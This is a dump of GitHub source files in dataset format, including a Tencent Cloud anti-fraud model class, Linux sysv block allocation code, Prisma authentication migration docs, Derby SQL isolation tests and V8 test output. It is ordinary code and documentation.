text
stringlengths 2
100k
| meta
dict |
---|---|
/*
* Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tencentcloudapi.aa.v20200224.models;
import com.tencentcloudapi.common.AbstractModel;
import com.google.gson.annotations.SerializedName;
import com.google.gson.annotations.Expose;
import java.util.HashMap;
public class OutputActivityAntiRushAdvancedValue extends AbstractModel{
/**
* 账号ID。对应输入参数:
AccountType是1时,对应QQ的OpenID。
AccountType是2时,对应微信的OpenID/UnionID。
AccountType是4时,对应手机号。
AccountType是8时,对应imei、idfa、imeiMD5或者idfaMD5。
AccountType是0时,对应账号信息。
AccountType是10004时,对应手机号的MD5。
*/
@SerializedName("UserId")
@Expose
private String UserId;
/**
* 操作时间戳,单位秒(对应输入参数)。
*/
@SerializedName("PostTime")
@Expose
private Long PostTime;
/**
* AccountType 是 QQ 或微信开放账号时,用于标识 QQ 或微信用户登录后关联业务自身的账号ID(对应输入参数)。
注意:此字段可能返回 null,表示取不到有效值。
*/
@SerializedName("AssociateAccount")
@Expose
private String AssociateAccount;
/**
* 操作来源的外网IP(对应输入参数)。
*/
@SerializedName("UserIp")
@Expose
private String UserIp;
/**
* 风险值:
0:表示无恶意。
1~4:恶意等级由低到高。
*/
@SerializedName("Level")
@Expose
private Long Level;
/**
* 风险类型,详情请参见下文RiskType详细说明。
注意:此字段可能返回 null,表示取不到有效值。
*/
@SerializedName("RiskType")
@Expose
private Long [] RiskType;
/**
* Get 账号ID。对应输入参数:
AccountType是1时,对应QQ的OpenID。
AccountType是2时,对应微信的OpenID/UnionID。
AccountType是4时,对应手机号。
AccountType是8时,对应imei、idfa、imeiMD5或者idfaMD5。
AccountType是0时,对应账号信息。
AccountType是10004时,对应手机号的MD5。
* @return UserId 账号ID。对应输入参数:
AccountType是1时,对应QQ的OpenID。
AccountType是2时,对应微信的OpenID/UnionID。
AccountType是4时,对应手机号。
AccountType是8时,对应imei、idfa、imeiMD5或者idfaMD5。
AccountType是0时,对应账号信息。
AccountType是10004时,对应手机号的MD5。
*/
public String getUserId() {
return this.UserId;
}
/**
* Set 账号ID。对应输入参数:
AccountType是1时,对应QQ的OpenID。
AccountType是2时,对应微信的OpenID/UnionID。
AccountType是4时,对应手机号。
AccountType是8时,对应imei、idfa、imeiMD5或者idfaMD5。
AccountType是0时,对应账号信息。
AccountType是10004时,对应手机号的MD5。
* @param UserId 账号ID。对应输入参数:
AccountType是1时,对应QQ的OpenID。
AccountType是2时,对应微信的OpenID/UnionID。
AccountType是4时,对应手机号。
AccountType是8时,对应imei、idfa、imeiMD5或者idfaMD5。
AccountType是0时,对应账号信息。
AccountType是10004时,对应手机号的MD5。
*/
public void setUserId(String UserId) {
this.UserId = UserId;
}
/**
* Get 操作时间戳,单位秒(对应输入参数)。
* @return PostTime 操作时间戳,单位秒(对应输入参数)。
*/
public Long getPostTime() {
return this.PostTime;
}
/**
* Set 操作时间戳,单位秒(对应输入参数)。
* @param PostTime 操作时间戳,单位秒(对应输入参数)。
*/
public void setPostTime(Long PostTime) {
this.PostTime = PostTime;
}
/**
* Get AccountType 是 QQ 或微信开放账号时,用于标识 QQ 或微信用户登录后关联业务自身的账号ID(对应输入参数)。
注意:此字段可能返回 null,表示取不到有效值。
* @return AssociateAccount AccountType 是 QQ 或微信开放账号时,用于标识 QQ 或微信用户登录后关联业务自身的账号ID(对应输入参数)。
注意:此字段可能返回 null,表示取不到有效值。
*/
public String getAssociateAccount() {
return this.AssociateAccount;
}
/**
* Set AccountType 是 QQ 或微信开放账号时,用于标识 QQ 或微信用户登录后关联业务自身的账号ID(对应输入参数)。
注意:此字段可能返回 null,表示取不到有效值。
* @param AssociateAccount AccountType 是 QQ 或微信开放账号时,用于标识 QQ 或微信用户登录后关联业务自身的账号ID(对应输入参数)。
注意:此字段可能返回 null,表示取不到有效值。
*/
public void setAssociateAccount(String AssociateAccount) {
this.AssociateAccount = AssociateAccount;
}
/**
* Get 操作来源的外网IP(对应输入参数)。
* @return UserIp 操作来源的外网IP(对应输入参数)。
*/
public String getUserIp() {
return this.UserIp;
}
/**
* Set 操作来源的外网IP(对应输入参数)。
* @param UserIp 操作来源的外网IP(对应输入参数)。
*/
public void setUserIp(String UserIp) {
this.UserIp = UserIp;
}
/**
* Get 风险值:
0:表示无恶意。
1~4:恶意等级由低到高。
* @return Level 风险值:
0:表示无恶意。
1~4:恶意等级由低到高。
*/
public Long getLevel() {
return this.Level;
}
/**
* Set 风险值:
0:表示无恶意。
1~4:恶意等级由低到高。
* @param Level 风险值:
0:表示无恶意。
1~4:恶意等级由低到高。
*/
public void setLevel(Long Level) {
this.Level = Level;
}
/**
* Get 风险类型,详情请参见下文RiskType详细说明。
注意:此字段可能返回 null,表示取不到有效值。
* @return RiskType 风险类型,详情请参见下文RiskType详细说明。
注意:此字段可能返回 null,表示取不到有效值。
*/
public Long [] getRiskType() {
return this.RiskType;
}
/**
* Set 风险类型,详情请参见下文RiskType详细说明。
注意:此字段可能返回 null,表示取不到有效值。
* @param RiskType 风险类型,详情请参见下文RiskType详细说明。
注意:此字段可能返回 null,表示取不到有效值。
*/
public void setRiskType(Long [] RiskType) {
this.RiskType = RiskType;
}
/**
* Internal implementation, normal users should not use it.
*/
public void toMap(HashMap<String, String> map, String prefix) {
this.setParamSimple(map, prefix + "UserId", this.UserId);
this.setParamSimple(map, prefix + "PostTime", this.PostTime);
this.setParamSimple(map, prefix + "AssociateAccount", this.AssociateAccount);
this.setParamSimple(map, prefix + "UserIp", this.UserIp);
this.setParamSimple(map, prefix + "Level", this.Level);
this.setParamArraySimple(map, prefix + "RiskType.", this.RiskType);
}
}
| {
"pile_set_name": "Github"
} |
/*
* linux/fs/sysv/balloc.c
*
* minix/bitmap.c
* Copyright (C) 1991, 1992 Linus Torvalds
*
* ext/freelists.c
* Copyright (C) 1992 Remy Card ([email protected])
*
* xenix/alloc.c
* Copyright (C) 1992 Doug Evans
*
* coh/alloc.c
* Copyright (C) 1993 Pascal Haible, Bruno Haible
*
* sysv/balloc.c
* Copyright (C) 1993 Bruno Haible
*
* This file contains code for allocating/freeing blocks.
*/
#include <linux/buffer_head.h>
#include <linux/string.h>
#include "sysv.h"
/* We don't trust the value of
sb->sv_sbd2->s_tfree = *sb->sv_free_blocks
but we nevertheless keep it up to date. */
static inline sysv_zone_t *get_chunk(struct super_block *sb, struct buffer_head *bh)
{
char *bh_data = bh->b_data;
if (SYSV_SB(sb)->s_type == FSTYPE_SYSV4)
return (sysv_zone_t*)(bh_data+4);
else
return (sysv_zone_t*)(bh_data+2);
}
/* NOTE NOTE NOTE: nr is a block number _as_ _stored_ _on_ _disk_ */
void sysv_free_block(struct super_block * sb, sysv_zone_t nr)
{
struct sysv_sb_info * sbi = SYSV_SB(sb);
struct buffer_head * bh;
sysv_zone_t *blocks = sbi->s_bcache;
unsigned count;
unsigned block = fs32_to_cpu(sbi, nr);
/*
* This code does not work at all for AFS (it has a bitmap
* free list). As AFS is supposed to be read-only no one
* should call this for an AFS filesystem anyway...
*/
if (sbi->s_type == FSTYPE_AFS)
return;
if (block < sbi->s_firstdatazone || block >= sbi->s_nzones) {
printk("sysv_free_block: trying to free block not in datazone\n");
return;
}
mutex_lock(&sbi->s_lock);
count = fs16_to_cpu(sbi, *sbi->s_bcache_count);
if (count > sbi->s_flc_size) {
printk("sysv_free_block: flc_count > flc_size\n");
mutex_unlock(&sbi->s_lock);
return;
}
/* If the free list head in super-block is full, it is copied
* into this block being freed, ditto if it's completely empty
* (applies only on Coherent).
*/
if (count == sbi->s_flc_size || count == 0) {
block += sbi->s_block_base;
bh = sb_getblk(sb, block);
if (!bh) {
printk("sysv_free_block: getblk() failed\n");
mutex_unlock(&sbi->s_lock);
return;
}
memset(bh->b_data, 0, sb->s_blocksize);
*(__fs16*)bh->b_data = cpu_to_fs16(sbi, count);
memcpy(get_chunk(sb,bh), blocks, count * sizeof(sysv_zone_t));
mark_buffer_dirty(bh);
set_buffer_uptodate(bh);
brelse(bh);
count = 0;
}
sbi->s_bcache[count++] = nr;
*sbi->s_bcache_count = cpu_to_fs16(sbi, count);
fs32_add(sbi, sbi->s_free_blocks, 1);
dirty_sb(sb);
mutex_unlock(&sbi->s_lock);
}
sysv_zone_t sysv_new_block(struct super_block * sb)
{
struct sysv_sb_info *sbi = SYSV_SB(sb);
unsigned int block;
sysv_zone_t nr;
struct buffer_head * bh;
unsigned count;
mutex_lock(&sbi->s_lock);
count = fs16_to_cpu(sbi, *sbi->s_bcache_count);
if (count == 0) /* Applies only to Coherent FS */
goto Enospc;
nr = sbi->s_bcache[--count];
if (nr == 0) /* Applies only to Xenix FS, SystemV FS */
goto Enospc;
block = fs32_to_cpu(sbi, nr);
*sbi->s_bcache_count = cpu_to_fs16(sbi, count);
if (block < sbi->s_firstdatazone || block >= sbi->s_nzones) {
printk("sysv_new_block: new block %d is not in data zone\n",
block);
goto Enospc;
}
if (count == 0) { /* the last block continues the free list */
unsigned count;
block += sbi->s_block_base;
if (!(bh = sb_bread(sb, block))) {
printk("sysv_new_block: cannot read free-list block\n");
/* retry this same block next time */
*sbi->s_bcache_count = cpu_to_fs16(sbi, 1);
goto Enospc;
}
count = fs16_to_cpu(sbi, *(__fs16*)bh->b_data);
if (count > sbi->s_flc_size) {
printk("sysv_new_block: free-list block with >flc_size entries\n");
brelse(bh);
goto Enospc;
}
*sbi->s_bcache_count = cpu_to_fs16(sbi, count);
memcpy(sbi->s_bcache, get_chunk(sb, bh),
count * sizeof(sysv_zone_t));
brelse(bh);
}
/* Now the free list head in the superblock is valid again. */
fs32_add(sbi, sbi->s_free_blocks, -1);
dirty_sb(sb);
mutex_unlock(&sbi->s_lock);
return nr;
Enospc:
mutex_unlock(&sbi->s_lock);
return 0;
}
unsigned long sysv_count_free_blocks(struct super_block * sb)
{
struct sysv_sb_info * sbi = SYSV_SB(sb);
int sb_count;
int count;
struct buffer_head * bh = NULL;
sysv_zone_t *blocks;
unsigned block;
int n;
/*
* This code does not work at all for AFS (it has a bitmap
* free list). As AFS is supposed to be read-only we just
* lie and say it has no free block at all.
*/
if (sbi->s_type == FSTYPE_AFS)
return 0;
mutex_lock(&sbi->s_lock);
sb_count = fs32_to_cpu(sbi, *sbi->s_free_blocks);
if (0)
goto trust_sb;
/* this causes a lot of disk traffic ... */
count = 0;
n = fs16_to_cpu(sbi, *sbi->s_bcache_count);
blocks = sbi->s_bcache;
while (1) {
sysv_zone_t zone;
if (n > sbi->s_flc_size)
goto E2big;
zone = 0;
while (n && (zone = blocks[--n]) != 0)
count++;
if (zone == 0)
break;
block = fs32_to_cpu(sbi, zone);
if (bh)
brelse(bh);
if (block < sbi->s_firstdatazone || block >= sbi->s_nzones)
goto Einval;
block += sbi->s_block_base;
bh = sb_bread(sb, block);
if (!bh)
goto Eio;
n = fs16_to_cpu(sbi, *(__fs16*)bh->b_data);
blocks = get_chunk(sb, bh);
}
if (bh)
brelse(bh);
if (count != sb_count)
goto Ecount;
done:
mutex_unlock(&sbi->s_lock);
return count;
Einval:
printk("sysv_count_free_blocks: new block %d is not in data zone\n",
block);
goto trust_sb;
Eio:
printk("sysv_count_free_blocks: cannot read free-list block\n");
goto trust_sb;
E2big:
printk("sysv_count_free_blocks: >flc_size entries in free-list block\n");
if (bh)
brelse(bh);
trust_sb:
count = sb_count;
goto done;
Ecount:
printk("sysv_count_free_blocks: free block count was %d, "
"correcting to %d\n", sb_count, count);
if (!(sb->s_flags & MS_RDONLY)) {
*sbi->s_free_blocks = cpu_to_fs32(sbi, count);
dirty_sb(sb);
}
goto done;
}
| {
"pile_set_name": "Github"
} |
package com.macro.mall.common.config;
import com.macro.mall.common.domain.SwaggerProperties;
import org.springframework.context.annotation.Bean;
import springfox.documentation.builders.ApiInfoBuilder;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.service.*;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spi.service.contexts.SecurityContext;
import springfox.documentation.spring.web.plugins.Docket;
import java.util.ArrayList;
import java.util.List;
/**
* Swagger基础配置
* Created by macro on 2020/7/16.
*/
public abstract class BaseSwaggerConfig {
@Bean
public Docket createRestApi() {
SwaggerProperties swaggerProperties = swaggerProperties();
Docket docket = new Docket(DocumentationType.SWAGGER_2)
.apiInfo(apiInfo(swaggerProperties))
.select()
.apis(RequestHandlerSelectors.basePackage(swaggerProperties.getApiBasePackage()))
.paths(PathSelectors.any())
.build();
if (swaggerProperties.isEnableSecurity()) {
docket.securitySchemes(securitySchemes()).securityContexts(securityContexts());
}
return docket;
}
private ApiInfo apiInfo(SwaggerProperties swaggerProperties) {
return new ApiInfoBuilder()
.title(swaggerProperties.getTitle())
.description(swaggerProperties.getDescription())
.contact(new Contact(swaggerProperties.getContactName(), swaggerProperties.getContactUrl(), swaggerProperties.getContactEmail()))
.version(swaggerProperties.getVersion())
.build();
}
private List<ApiKey> securitySchemes() {
//设置请求头信息
List<ApiKey> result = new ArrayList<>();
ApiKey apiKey = new ApiKey("Authorization", "Authorization", "header");
result.add(apiKey);
return result;
}
private List<SecurityContext> securityContexts() {
//设置需要登录认证的路径
List<SecurityContext> result = new ArrayList<>();
result.add(getContextByPath("/*/.*"));
return result;
}
private SecurityContext getContextByPath(String pathRegex) {
return SecurityContext.builder()
.securityReferences(defaultAuth())
.forPaths(PathSelectors.regex(pathRegex))
.build();
}
private List<SecurityReference> defaultAuth() {
List<SecurityReference> result = new ArrayList<>();
AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything");
AuthorizationScope[] authorizationScopes = new AuthorizationScope[1];
authorizationScopes[0] = authorizationScope;
result.add(new SecurityReference("Authorization", authorizationScopes));
return result;
}
/**
* 自定义Swagger配置
*/
public abstract SwaggerProperties swaggerProperties();
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2001-2011 Hartmut Kaiser
// Copyright (c) 2001-2011 Joel de Guzman
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#if !defined(SPIRIT_KARMA_AND_PREDICATE_MAR_22_2009_0412PM)
#define SPIRIT_KARMA_AND_PREDICATE_MAR_22_2009_0412PM
#if defined(_MSC_VER)
#pragma once
#endif
#include <boost/spirit/home/karma/domain.hpp>
#include <boost/spirit/home/karma/meta_compiler.hpp>
#include <boost/spirit/home/karma/generator.hpp>
#include <boost/spirit/home/karma/detail/output_iterator.hpp>
#include <boost/spirit/home/karma/detail/attributes.hpp>
#include <boost/spirit/home/support/info.hpp>
#include <boost/spirit/home/support/has_semantic_action.hpp>
#include <boost/spirit/home/support/handles_container.hpp>
namespace boost { namespace spirit
{
///////////////////////////////////////////////////////////////////////////
// Enablers
///////////////////////////////////////////////////////////////////////////
template <>
struct use_operator<karma::domain, proto::tag::address_of> // enables &g
: mpl::true_ {};
}}
namespace boost { namespace spirit { namespace karma
{
template <typename Subject>
struct and_predicate : unary_generator<and_predicate<Subject> >
{
typedef Subject subject_type;
typedef mpl::int_<
generator_properties::disabling | subject_type::properties::value
> properties;
template <typename Context, typename Iterator>
struct attribute
: traits::attribute_of<subject_type, Context, Iterator>
{};
and_predicate(Subject const& subject)
: subject(subject) {}
template <
typename OutputIterator, typename Context, typename Delimiter
, typename Attribute>
bool generate(OutputIterator& sink, Context& ctx, Delimiter const& d
, Attribute const& attr) const
{
// inhibits output
detail::disable_output<OutputIterator> disable(sink);
return subject.generate(sink, ctx, d, attr);
}
template <typename Context>
info what(Context& context) const
{
return info("and-predicate", subject.what(context));
}
Subject subject;
};
///////////////////////////////////////////////////////////////////////////
// Generator generators: make_xxx function (objects)
///////////////////////////////////////////////////////////////////////////
template <typename Elements, typename Modifiers>
struct make_composite<proto::tag::address_of, Elements, Modifiers>
: make_unary_composite<Elements, and_predicate> {};
}}}
namespace boost { namespace spirit { namespace traits
{
///////////////////////////////////////////////////////////////////////////
template <typename Subject>
struct has_semantic_action<karma::and_predicate<Subject> >
: unary_has_semantic_action<Subject> {};
///////////////////////////////////////////////////////////////////////////
template <typename Subject, typename Attribute, typename Context
, typename Iterator>
struct handles_container<karma::and_predicate<Subject>, Attribute
, Context, Iterator>
: unary_handles_container<Subject, Attribute, Context, Iterator> {};
}}}
#endif
| {
"pile_set_name": "Github"
} |
---
alias: yaeco6ieth
description: Authentication & Authorization
---
# Authentication & Authorization
In this section, you'll learn how you can migrate your authentication functionality from the Graphcool Framework to Prisma.
## Authentication & Authorization with the Graphcool Framework
With the Graphcool Framework, authentication is implemented using [resolver functions](https://www.graph.cool/docs/reference/functions/resolvers-su6wu3yoo2). The GraphQL schema of the API is extended with dedicated mutations that provide signup and login functionality.
To achieve a cleaner architecture and better separation of concern, with Prisma this functionality is now moved into the _application layer_.
With the Graphcool Framework, authentication involved the following steps:
1. Define your signup and login resolver functions as schema extension on the `Mutation` type in your GraphQL schema
1. Provide the implementation of the resolver functions in JavaScript directly through the Graphcool Framework or use a webhook to invoke a function hosted by yourself
1. Connect the mutation definitions with the implementation by adjusting your service definition file
To secure data access and define permission rules, the Graphcool Framework used the concept of _permission queries_. Each API operation could be associated with one (or more) permission rules that would be checked before performing the operations.
## Authentication with Prisma
Prisma has a different [authentication concept](!alias-utee3eiquo#authentication) than the Graphcool Framework. Rather than tying authentication to a permission system, Prisma only provides a simple token-based (think: _API Key_) system for accessing the Prisma API.
User authentication and permission rules are now implemented in the application layer of your GraphQL server. The `exists` function from the [`prisma-binding`](!alias-gai5urai6u) package serves a similar purpose as permissions queries inside the Graphcool Framework.
Another major change to the Graphcool Framework is that in Prisma you now generate the JWT tokens for your users yourself, rather than having them generated by `graphcool-lib`.
## Going from the Framework to Prisma
The following instructions assume you're using `graphql-yoga` as your GraphQL server and that your schema definition is written in SDL.
> To learn what the implementation authentication and permissions with Prisma looks like in practice, you can check out our examples: [auth](https://github.com/graphcool/prisma/tree/master/examples/auth) & [permissions](https://github.com/graphcool/prisma/tree/master/examples/permissions).
### Step 1: Migrate schema definitions
In your Graphcool Framework service, you might have had a schema extension defined that looks as follows:
```grapqhl
type Mutation {
signupUser(email: String!, password: String!): SignupUserPayload
authenticateUser(email: String!, password: String!): AuthenticateUserPayload
}
type SignupUserPayload{
userId: ID!
token: String!
}
type AuthenticateUserPayload {
token: String!
}
```
The `signupUser` and `authenticateUser` mutations can be used for signup and login. The returned `token` is a JSON web token that's generated by `graphcool-lib` and can be sent in the `Authorization` HTTP header to authenticate requests against the API.
You can now move these definitions into the schema definition of your `graphql-yoga` server. Note that you can also get rid of one workaround that was required due to the limitation that resolver functions were not able to return model types.
Here is a suggestion for what your new defintion could look like in your GraphQL server:
```grapqhl
type Mutation {
signup(email: String!, password: String!): AuthPayload
login(email: String!, password: String!): AuthPayload
}
type AuthPayload {
token: String!
user: User!
}
```
### Step 2: Migrate resolver functions
Next, you need to implement the resolvers for the above defined `signup` and `login` mutations. In these resolvers, you're now generating a JWT token which you then return to your users. In the `signup` resolver, you also create a new node of the `User` type.
**auth.js**:
```js
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const auth = {
async signup(parent, args, ctx, info) {
const password = await bcrypt.hash(args.password, 10)
const user = await ctx.db.mutation.createUser({
data: { ...args, password },
})
return {
token: jwt.sign({ userId: user.id }, process.env.JWT_SECRET),
user,
}
},
async login(parent, { email, password }, ctx, info) {
const user = await ctx.db.query.user({ where: { email } })
if (!user) {
throw new Error(`No such user found for email: ${email}`)
}
const valid = await bcrypt.compare(password, user.password)
if (!valid) {
throw new Error('Invalid password')
}
return {
token: jwt.sign({ userId: user.id }, process.env.JWT_SECRET),
user,
}
},
}
module.exports = { auth }
```
**AuthPayload.js**:
```js
const AuthPayload = {
user: async ({ user: { id } }, args, ctx, info) => {
return ctx.db.query.user({ where: { id } }, info)
},
}
module.exports = { AuthPayload }
```
### Step 3: Migrate permission rules
As mentioned before, the `exists` function of the `prisma-binding` package is the tool of choice for migrating your permission queries.
Assume you have the following data model defined for your Prisma service
```graphql
type User @model {
id: ID! @unique
name: String!
posts: [Post!]!
}
type Post @model {
id: ID! @unique
title: String!
author: User!
}
```
With the Graphcool Framework, to express that you only wanted the `author` of a `Post` to be able to update it, you'd have to associate the following permission query with the `updatePost` mutation:
```graphql
query ($user_id: ID!, $post_id: ID!) {
SomePostExists(filter: {
id: $post_id
author: {
id: $user_id
}
})
}
```
With Prisma, you'll need to perform the check inside the corresponding `updatePost` resolver in the application layer.
The implementation of the resolver could looks as follows:
```js
async function updatePost(parent, { id, title, text }, ctx, info) {
// `getUserId` throws an error if the requesting user is not authenticated
const userId = getUserId(ctx)
// this expresses the same condition as the permission query above
const requestingUserIsAuthor = await ctx.db.exists.Post({
id,
author: {
id: userId,
},
})
// only if the condition is true, the post is actually updated
if (requestingUserIsAuthor) {
return await ctx.db.mutation.updatePost({
where: { id },
data: { title, text },
}, info)
}
throw new Error(
'Invalid permissions, you must be an admin or the author of a post to update it',
)
}
```
For more information regarding implementing permission rules with Prisma, please refer to [this tutorial](!alias-thohp1zaih).
| {
"pile_set_name": "Github"
} |
[
{
"isMain": true,
"isLib": false,
"name": "Test13",
"nodes": [
"$hxClasses",
"Test13",
"haxe_iterators_ArrayIterator"
],
"exports": {
"$hxClasses": true
},
"shared": {
"a_$b_Exposed": true
},
"imports": {}
},
{
"isMain": false,
"isLib": false,
"name": "a_$b_Exposed",
"alias": "a_$b_Exposed",
"nodes": [
"a_$b_Exposed",
"a_$b_SubExposed"
],
"exports": {
"a_$b_Exposed": true
},
"shared": {},
"imports": {
"$hxClasses": true
}
}
] | {
"pile_set_name": "Github"
} |
--
-- Licensed to the Apache Software Foundation (ASF) under one or more
-- contributor license agreements. See the NOTICE file distributed with
-- this work for additional information regarding copyright ownership.
-- The ASF licenses this file to You under the Apache License, Version 2.0
-- (the "License"); you may not use this file except in compliance with
-- the License. You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- single user test for the various isolation levels
prepare getIsolation as 'values current isolation';
autocommit off;
call SYSCS_UTIL.SYSCS_SET_RUNTIMESTATISTICS(1);
maximumdisplaywidth 2000;
-- create a table
create table t1(c1 int not null constraint asdf primary key);
commit;
-- insert a row
insert into t1 values 1;
-- verify table scan gets row lock at read committed
select * from t1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- verify matching index scan gets row lock at read committed
select * from t1 where c1 = 1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- verify WITH clause works
select * from t1 with rr;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- verify SET ISOLATION commits and changes isolation level
set isolation RR;
execute getIsolation;
-- rollback should find nothing to undo
rollback;
select * from t1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set isolation reset;
execute getIsolation;
-- verify matching index scan gets row lock at read committed
select * from t1 where c1 = 1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- verify SET ISOLATION commits and changes isolation level
set isolation read committed;
execute getIsolation;
-- rollback should find nothing to undo
rollback;
select * from t1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set current isolation = reset;
execute getIsolation;
-- verify SET ISOLATION commits and changes isolation level
set current isolation = RS;
execute getIsolation;
-- rollback should find nothing to undo
rollback;
select * from t1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set isolation to reset;
execute getIsolation;
-- verify SET ISOLATION commits and changes isolation level
set isolation = dirty read;
execute getIsolation;
-- rollback should find nothing to undo
rollback;
select * from t1;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- test WITH clause
set isolation serializable;
execute getIsolation;
select * from t1 with cs;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set isolation cursor stability;
execute getIsolation;
select * from t1 with RR;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set isolation serializable;
execute getIsolation;
select * from t1 with RS;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
set current isolation to read committed;
execute getIsolation;
select * from t1 with ur;
values SYSCS_UTIL.SYSCS_GET_RUNTIMESTATISTICS();
-- unknown isolation level
select * from t1 with rw;
-- check the db2 isolation levels can be used as identifiers
create table db2iso(cs int, rr int, ur int, rs int);
select cs, rr, ur, rs from db2iso;
-- cleanup
drop table t1;
| {
"pile_set_name": "Github"
} |
'use strict';
describe('The main view', function () {
var page;
beforeEach(function () {
browser.get('http://localhost:3000/index.html');
page = require('./main.po');
});
it('should include jumbotron with correct data', function() {
expect(page.h1El.getText()).toBe('\'Allo, \'Allo!');
expect(page.imgEl.getAttribute('src')).toMatch(/assets\/images\/yeoman.png$/);
expect(page.imgEl.getAttribute('alt')).toBe('I\'m Yeoman');
});
it('list more than 5 awesome things', function () {
expect(page.thumbnailEls.count()).toBeGreaterThan(5);
});
});
| {
"pile_set_name": "Github"
} |
# Copyright 2013 the V8 project authors. All rights reserved.
# Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Tests that we don't emit unnecessary speculation checks when performing an int32 to double conversion on a value that is proved to be a number, predicted to be an int32, but not proved to be an int32.
On success, you will see a series of "PASS" messages, followed by "TEST COMPLETE".
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
